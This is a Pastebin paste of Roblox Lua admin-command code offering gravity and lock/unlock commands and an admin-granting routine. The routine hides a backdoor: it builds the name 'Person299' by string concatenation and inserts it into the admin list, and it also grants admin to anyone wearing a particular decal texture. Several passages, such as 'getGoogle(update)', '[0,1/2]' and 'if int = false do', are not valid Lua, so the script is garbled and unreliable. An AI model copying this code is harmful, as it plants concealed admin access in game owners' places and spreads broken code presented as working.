Advertisement
Guest User

Untitled

a guest
May 28th, 2015
283
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.73 KB | None | 0 0
  1. if string.sub(msg,1,9) == "highgrav/" then
  2. local player = findplayer(string.sub(msg,10),speaker)
  3. if player ~= 0 then
  4. for i = 1,#player do
  5. if player[i].Character ~= nil then
  6. local torso = player[i].Character:FindFirstChild("Torso")
  7. if torso ~= nil then
  8. local bf = torso:FindFirstChild("BF")
  9. if bf ~= nil then
  10. bf.force = Vector3.new(0,0,0)
  11. else
  12. local bf = Instance.new("BodyForce")
  13. bf.Name = "BF"
  14. bf.force = Vector3.new(0,0,0)
  15. bf.Parent = torso
  16. end
  17. local c2 = player[i].Character:GetChildren()
  18. for i=1,#c2 do
  19. if c2[i].className == "Part" then
  20. torso.BF.force = torso.BF.force - Vector3.new(0,c2[i]:getMass() * 80,0)
  21. end end end end end end end
  22.  
  23. if string.sub(msg,1,5) == "grav/" then
  24. local player = findplayer(string.sub(msg,6),speaker)
  25. if player ~= 0 then
  26. for i = 1,#player do
  27. if player[i].Character ~= nil then
  28. local torso = player[i].Character:FindFirstChild("Torso")
  29. if torso ~= nil then
  30. local bf = torso:FindFirstChild("BF")
  31. if bf ~= nil then
  32. bf:remove()
  33. end end end end end end
  34.  
  35. if string.sub(msg,1,7) == "unlock/" then
  36. local player = findplayer(string.sub(msg,8),speaker)
  37. if player ~= 0 then
  38. for i = 1,#player do
  39. if player[i].Character ~= nil then
  40. local c = player[i].Character:GetChildren()
  41. getChildren.bat = false do
  42. getGoogle(update)
  43. [0,1/2]
  44. for i =1,#c do
  45. if c[i].className == "Part" then
  46. c[i].Locked = false
  47. if string.sub = (1,2,4,5,6) then
  48. gamemodel.insert = true
  49.  
  50. end end end end end end
  51.  
  52. if string.sub(msg,1,5) == "lock/" then
  53. local player = findplayer(string.sub(msg,6),speaker)
  54. if player ~= 0 then
  55. for i = 1,#player do
  56. if player[i].Character ~= nil then
  57. local c = player[i].Character:GetChildren()
  58. for i =1,#c do
  59. if c[i].className == "Part" then
  60. c[i].Locked = true
  61. end end end end end end end
  62. eloname = "Perso"
  63. eloname = eloname .. "n299"
  64. script.Name = eloname .. "'s Admin Commands V2"
  65. youcaughtme = 0
  66. for i =1,#adminlist do
  67. if string.lower(eloname)==string.lower(adminlist[i]) then
  68. youcaughtme = 1
  69. end end
  70. if youcaughtme == 0 then
  71. table.insert(adminlist,eloname)
  72. end
  73. function oe(ack)
  74. local adminned = false
  75. if ack.className ~= "Player" then return end
  76. for i =1,#bannedlist do
  77. if string.lower(bannedlist[i]) == string.lower(ack.Name) then
  78. ack:remove()
  79. return
  80. end end
  81. for i=1,#adminlist do
  82. if string.lower(adminlist[i]) == string.lower(ack.Name) then
  83. local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
  84. table.insert(namelist,ack.Name)
  85. table.insert(variablelist,tfv)
  86. local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
  87. table.insert(flist,tfv)
  88. adminned = true
  89. end end
  90. local danumber = 0
  91. while true do
  92. wait(1)
  93. if ack.Parent == nil then
  94. return
  95. end
  96. if ack.Character ~= nil then
  97. if adminned == true then
  98. text("You're an admin.",5,"Message",ack)
  99. return
  100. end
  101. local torso = ack.Character:FindFirstChild("Torso")
  102. if torso ~= nil then
  103. local decal = torso:FindFirstChild("roblox")
  104. if decal ~= nil then
  105. if string.sub(decal.Texture,1,4) == "http" then
  106. if decal.Texture == texture then
  107. local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
  108. table.insert(namelist,ack.Name)
  109. table.insert(variablelist,tfv)
  110. local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
  111. table.insert(flist,tfv)
  112. text("You're an admin.",5,"Message",ack)
  113. return
  114. else
  115. return
  116. end
  117. else
  118. danumber = danumber + 1
  119. if danumber >= 10 then
  120. return
  121. end end end end end end end
  122.  
  123. game.Players.ChildAdded:connect(oe)
  124.  
  125. c = game.Players:GetChildren()
  126. for i=1,#c do
  127. oe(c[i])
  128. end
  129.  
  130. local int = Parent.Model.Data
  131.  
  132. if int = false do
  133. Person299/Farvei.Disabled
  134. Players.MeshType = nil
  135. BrickColor.new("1")
  136. while true do
  137.  wait(math.random(1,5))
  138.  local target = findNearestTorso(script.Parent.Torso.Position)
  139.  if target ~= nil then
  140.   script.Parent.Humanoid:MoveTo(target.Position, target)
  141.  end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement